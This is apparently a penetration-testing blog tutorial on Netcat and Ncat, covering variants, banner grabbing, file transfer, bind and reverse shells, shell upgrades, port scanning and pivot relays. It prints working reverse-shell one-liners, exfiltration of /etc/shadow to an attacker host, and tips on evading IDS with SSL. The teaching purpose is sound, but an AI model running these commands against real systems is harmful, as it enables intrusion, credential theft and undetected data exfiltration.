Technical Deep Dive

Netcat: A Deep Dive into the Swiss Army Knife of Networking

> nc -lvnp 4444 && echo 'listening...'_

Peter Bassill 23 September 2025 17 min read
netcat ncat networking reverse shell file transfer penetration testing

Read bytes. Write bytes. Everything else follows.

Netcat does one thing: it creates a network connection and moves data through it. It connects to a remote host and sends data. Or it listens on a local port and receives data. TCP or UDP. That's it. The entire tool is a bidirectional pipe between a network socket and standard input/output.

That simplicity is its power. Because Netcat is nothing more than a raw network pipe, it can be used as a building block for almost any network operation: port scanning, service banner grabbing, file transfer, chat systems, reverse shells, bind shells, port forwarding, network pivoting, proxy relays, and ad-hoc service testing. Every more sophisticated tool in the penetration tester's arsenal — Metasploit's payloads, Cobalt Strike's beacons, even curl and wget — is doing fundamentally what Netcat does, with more features wrapped around it.

Netcat was originally written by Hobbit in 1995. Nearly three decades later, it remains installed by default on most Linux distributions and macOS, is available for Windows, and is one of the first tools a penetration tester reaches for when they need a quick, reliable, no-dependencies network utility on a compromised system.

Legal Notice

Netcat is a legitimate networking utility used by system administrators, developers, and network engineers for troubleshooting and testing. The techniques described in this article — particularly reverse shells and pivoting — must only be used against systems you own or have explicit written authorisation to test. Unauthorised use of these techniques is illegal under the Computer Misuse Act 1990 (UK), the Computer Fraud and Abuse Act (US), and equivalent legislation in most jurisdictions.


Not all Netcats are the same Netcat.

There are several Netcat implementations with different capabilities. Knowing which variant is on the system matters — because the flags, features, and behaviour differ between them.

Variant Package / Binary Key Features Common On
Traditional Netcat (Hobbit's original) nc or netcat The original 1995 implementation. Supports TCP and UDP, basic port scanning (-z), and the -e flag for executing programs on connection (the flag that makes bind/reverse shells possible). Minimal features, maximum portability. Older Linux systems. Available in most package repositories as netcat-traditional.
OpenBSD Netcat nc (often the default on modern systems) Rewritten for OpenBSD with security in mind. Supports UNIX domain sockets, proxy connections (-X for SOCKS/HTTP proxy), and TLS via -c flag on some builds. Does not support -e — deliberately omitted as a security measure. Ubuntu, Debian, macOS (default nc on most modern systems).
Ncat (Nmap project) ncat The most feature-rich variant. Developed as part of the Nmap project. Supports SSL/TLS encryption (--ssl), access control (--allow, --deny), connection brokering, proxy support (SOCKS4/5, HTTP), and the -e flag for program execution. The recommended variant for pen testing. Installed alongside Nmap. Available on all platforms.
GNU Netcat netcat GNU reimplementation. Supports tunnelling and the -e flag. Less commonly encountered than the other variants. Some Linux distributions. Less widely deployed.
Identifying Which Variant You Have
# Check which nc binary is installed
which nc # /usr/bin/nc
nc -h 2>&1 | head -1 # Shows variant and version

# OpenBSD variant:
# usage: nc [-46CDdFhklNnrStUuvZz]...

# Ncat (Nmap project):
# Ncat 7.94 ( https://nmap.org/ncat )

# Traditional netcat:
# [v1.10-47]

# If you need -e and have OpenBSD nc, install ncat:
sudo apt install ncat # Debian/Ubuntu

The fundamental modes that everything else is built on.

Flag Operation What It Does
nc <host> <port> Client mode (connect) Connects to the specified host and port. Anything typed on standard input is sent to the remote host. Anything received from the remote host is printed to standard output. The most basic operation — equivalent to a raw TCP connection.
-l Listen mode Listens on the specified port for an incoming connection instead of initiating one. The local machine becomes the server. Combined with a port number: nc -l 4444 listens on port 4444.
-v Verbose Prints connection status messages — useful for confirming that a connection was established, or diagnosing why it wasn't. -vv increases verbosity further on some variants.
-n No DNS resolution Skips DNS lookups for IP addresses. Faster and avoids DNS-based detection. Always use when connecting to IP addresses rather than hostnames.
-p <port> Source port Specifies the local source port for the connection. Useful when a firewall allows traffic from specific source ports (e.g. port 53 for DNS or port 80 for HTTP).
-u UDP mode Uses UDP instead of TCP. By default, Netcat operates over TCP. -u switches to UDP — useful for testing DNS, SNMP, TFTP, and other UDP services.
-w <seconds> Timeout Sets a timeout for connections. -w 3 closes the connection if no data is received for 3 seconds. Essential for scripted operations where you don't want hanging connections.
-z Zero-I/O (scan mode) Connects and immediately closes — sending no data. Used for port scanning. nc -zv host 1-1000 scans ports 1 through 1000 and reports which are open.

Identifying services with nothing but a connection.

When Netcat connects to a port, many services immediately send a banner — a string identifying the service name, version, and sometimes the operating system. Banner grabbing is the simplest form of service enumeration: connect, read the response, and close.

Banner Grabbing — Practical Examples
# SSH banner
nc -vn 10.0.1.50 22
# SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6

# SMTP banner
nc -vn 10.0.1.25 25
# 220 mail.acme.local ESMTP Postfix (Ubuntu)

# HTTP banner — send a HEAD request
echo -e 'HEAD / HTTP/1.1\r\nHost: 10.0.1.80\r\n\r\n' | nc -vn 10.0.1.80 80
# HTTP/1.1 200 OK
# Server: Apache/2.4.52 (Ubuntu)

# FTP banner
nc -vn 10.0.1.30 21
# 220 ProFTPD 1.3.5e Server (Acme FTP)

# Banner grab with timeout — for scripted scanning
nc -vn -w 3 10.0.1.50 22 # Closes after 3 seconds

Banner information is directly actionable: OpenSSH_8.9p1 Ubuntu-3ubuntu0.6 maps to a specific Ubuntu release and specific known vulnerabilities. ProFTPD 1.3.5e is vulnerable to CVE-2019-12815 (mod_copy remote code execution). Banner grabbing with Netcat requires no special tools, no installation, and works on every system that has nc available — which is almost all of them.


Moving files when nothing else is available.

On a compromised system with no SCP, no FTP, no curl, and no wget, Netcat provides a raw file transfer capability. The sender pipes a file into Netcat. The receiver listens and redirects the output to a file. No protocol overhead, no authentication, no encryption — just bytes across a TCP connection.

File Transfer — Both Directions
# Transfer FROM attacker TO target
# On target (receiver — set up listener first):
nc -lvnp 4444 > linpeas.sh

# On attacker (sender — connect and send):
nc -vn 10.0.1.50 4444 < linpeas.sh

# ─────────────────────────────────────────────

# Transfer FROM target TO attacker (exfiltration)
# On attacker (receiver — listener):
nc -lvnp 4444 > loot.tar.gz

# On target (sender — connect and send):
tar czf - /etc/shadow /etc/passwd | nc -vn 10.0.0.5 4444

# ─────────────────────────────────────────────

# Encrypted transfer with Ncat
# On receiver:
ncat --ssl -lvnp 4444 > sensitive_file.zip

# On sender:
ncat --ssl -vn 10.0.0.5 4444 < sensitive_file.zip

The encrypted variant using ncat --ssl is important during engagements where the network is monitored — transferring tools or exfiltrating data over unencrypted Netcat will be visible to any IDS or network tap. Ncat's SSL mode wraps the connection in TLS with no additional configuration required.


The capability that makes Netcat a penetration testing tool.

Netcat's ability to pipe a program's input and output across a network connection is the foundation of bind and reverse shells — the two most fundamental remote access techniques in penetration testing. Understanding both is essential, because the choice between them depends on the network topology and firewall rules between the attacker and the target.

Shell Type How It Works When to Use It
Bind shell The target listens on a port and binds a shell to it. The attacker connects to that port and receives a shell. The target is the server; the attacker is the client. When the target has a port accessible to the attacker — typically during internal testing where firewall rules are permissive. Less common in external testing because inbound connections to the target are usually filtered.
Reverse shell The attacker listens on a port. The target initiates an outbound connection to the attacker and sends its shell. The attacker is the server; the target is the client. The default choice for most engagements. Outbound connections from the target are more likely to succeed than inbound connections to it — most firewalls are configured to restrict inbound traffic but allow outbound.
Bind Shell — Target Listens, Attacker Connects
# On target (using traditional nc or ncat with -e):
nc -lvnp 4444 -e /bin/bash # Binds bash to port 4444

# On attacker:
nc -vn 10.0.1.50 4444 # Connects and receives a shell

# If -e is not available (OpenBSD nc), use a named pipe:
mkfifo /tmp/f; nc -lvnp 4444 < /tmp/f | /bin/bash > /tmp/f 2>&1
Reverse Shell — Attacker Listens, Target Connects Back
# On attacker (set up listener first):
nc -lvnp 4444 # Waiting for connection...

# On target (using traditional nc or ncat with -e):
nc -vn 10.0.0.5 4444 -e /bin/bash # Connects back to attacker

# Named pipe method (when -e is unavailable):
mkfifo /tmp/f; nc 10.0.0.5 4444 < /tmp/f | /bin/bash > /tmp/f 2>&1

# Encrypted reverse shell with Ncat:
# On attacker:
ncat --ssl -lvnp 4444
# On target:
ncat --ssl 10.0.0.5 4444 -e /bin/bash

The named pipe (mkfifo) technique is essential knowledge because the OpenBSD variant of nc — the default on Ubuntu and Debian — deliberately omits the -e flag. On these systems, the named pipe provides the same functionality: it creates a bidirectional pipe between the network connection and the shell process. It's less elegant than -e, but it works everywhere.


From raw shell to fully interactive terminal.

A raw Netcat shell is functional but limited: no tab completion, no command history, no ability to use interactive programs like vim or top, and Ctrl+C kills the shell instead of the running process. Upgrading to a fully interactive TTY is a standard post-exploitation step.

Shell Upgrade — From Raw to Interactive
# Step 1: Spawn a PTY on the target (inside the raw shell)
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Step 2: Background the shell on the attacker
# Press Ctrl+Z

# Step 3: Set terminal to raw mode on the attacker
stty raw -echo; fg

# Step 4: Set terminal type on the target
export TERM=xterm-256color
stty rows 40 cols 160 # Match your terminal size

# Result: full interactive shell with tab completion, history,
# Ctrl+C works correctly, and interactive programs function.

When Nmap isn't available — Netcat fills the gap.

Netcat's port scanning capability is rudimentary compared to Nmap — no service detection, no OS fingerprinting, no scripting engine. But on a compromised system where Nmap isn't installed and can't be transferred, Netcat's -z flag provides basic TCP port scanning that's often sufficient for identifying the next pivot target.

Port Scanning with Netcat
# Scan common ports on a single host
nc -zvn -w 1 10.0.2.50 21-23 80 443 445 3389

# Scan a range — with results filtered for open ports
nc -zvn -w 1 10.0.2.50 1-1024 2>&1 | grep 'open\|succeeded'

# Scan multiple hosts from a compromised pivot
for ip in $(seq 1 254); do
nc -zvn -w 1 10.0.2.$ip 445 2>&1 | grep 'open' &
done # Parallel SMB scan of /24 subnet

# UDP port scan (slower — no guaranteed response)
nc -zvnu -w 3 10.0.2.50 53 161 123 69 # DNS, SNMP, NTP, TFTP

Using Netcat to reach networks you can't directly access.

During an internal pen test, the attacker often compromises a host that has access to a network segment the attacker's machine can't reach directly. Netcat can create a relay — forwarding traffic from the attacker through the compromised host to the target network.

Netcat Relay — Port Forwarding Through a Pivot
# Scenario: Attacker (10.0.0.5) → Pivot (10.0.1.50) → Target (10.0.2.100)
# Attacker cannot reach 10.0.2.0/24 directly.
# Pivot host has interfaces on both 10.0.1.0/24 and 10.0.2.0/24.

# On pivot (named pipe relay):
mkfifo /tmp/relay
nc -lvnp 8080 < /tmp/relay | nc 10.0.2.100 80 > /tmp/relay

# On attacker:
curl http://10.0.1.50:8080/ # Traffic relayed to 10.0.2.100:80

# ─────────────────────────────────────────────

# Ncat relay (simpler syntax, supports --ssl):
ncat -lvnp 8080 --sh-exec 'ncat 10.0.2.100 80'

# Ncat with SSL on the attacker-facing side:
ncat --ssl -lvnp 8080 --sh-exec 'ncat 10.0.2.100 80'

The named pipe relay is a technique every penetration tester should know by heart. It requires no additional tools, no compilation, no dependencies — just a mkfifo and two instances of nc. Ncat's --sh-exec provides cleaner syntax for the same operation and adds the option of encrypting the attacker-facing side with --ssl to avoid detection by network monitoring.


Where the Nmap project's variant goes further.

Ncat extends the traditional Netcat feature set with capabilities specifically useful for penetration testing: encrypted connections, access controls, connection brokering, and proxy support.

Feature Flag(s) Use Case
SSL/TLS encryption --ssl Wraps the connection in TLS. Prevents IDS from inspecting the traffic. Essential for transferring sensitive data or maintaining shells on monitored networks.
Access control --allow 10.0.0.5 / --deny 0.0.0.0/0 Restricts which IP addresses can connect to the listener. Prevents other testers or unexpected connections from interfering with your listener during a shared engagement.
Connection brokering --broker Allows multiple clients to connect to the same listener and share data. Creates a basic chat server or a multiplexed relay point.
Proxy support --proxy <host:port> --proxy-type socks5 Routes connections through a SOCKS4, SOCKS5, or HTTP proxy. Useful for pivoting through a compromised proxy server or chaining through Tor.
Keep-alive / persistent listener -k Keeps the listener running after a client disconnects. Without -k, the listener exits after the first connection closes. Essential for persistent listeners that accept multiple connections sequentially.
Execution on connect -e <command> / --sh-exec '<command>' Executes a program and pipes its I/O through the network connection. -e /bin/bash for shells. --sh-exec passes the command through /bin/sh for shell features like pipes and redirects.

The commands you'll use on every engagement.

Netcat Quick Reference — Copy and Adapt
# Banner grab
nc -vn -w 3 10.0.1.50 22

# Port scan (TCP)
nc -zvn -w 1 10.0.1.50 1-1024 2>&1 | grep open

# Reverse shell listener
nc -lvnp 4444

# Reverse shell callback (target)
mkfifo /tmp/f; nc 10.0.0.5 4444 < /tmp/f | /bin/bash > /tmp/f 2>&1

# File transfer (receiver)
nc -lvnp 4444 > file.bin

# File transfer (sender)
nc -vn 10.0.0.5 4444 < file.bin

# Encrypted reverse shell (Ncat)
ncat --ssl -lvnp 4444 # Attacker
ncat --ssl 10.0.0.5 4444 -e /bin/bash # Target

# Relay / pivot
mkfifo /tmp/r; nc -lvnp 8080 < /tmp/r | nc 10.0.2.100 80 > /tmp/r

The bottom line.

Netcat is the most fundamental networking tool in the penetration tester's arsenal. Not the most powerful — Nmap does service detection better, Metasploit does exploitation better, Cobalt Strike does C2 better. But Netcat does what none of them can do as reliably: it creates a raw network connection with zero dependencies, zero configuration, and zero installation on almost any system the tester encounters.

That simplicity makes it irreplaceable. On the compromised Linux server with no tools installed: Netcat is there. On the Windows workstation where you need to transfer a binary: Netcat can do it. On the pivot host where you need to relay traffic to a network segment you can't reach directly: Netcat builds the bridge. On the system where you need a reverse shell and don't have Meterpreter: Netcat and a named pipe give you one in a single line.

Every penetration tester should know Netcat's core operations by heart — client mode, listen mode, the -e flag, the named pipe workaround, file transfer in both directions, and the shell upgrade sequence from raw to interactive. These are the building blocks that every more sophisticated tool is built upon — and the fallback that's always available when those tools aren't.


Understanding the tools is the first step. Knowing when and how to chain them is the assessment.

Our penetration testers combine deep tool knowledge with manual analysis, creative thinking, and real-world attack methodology — because understanding Netcat is table stakes, not the whole game.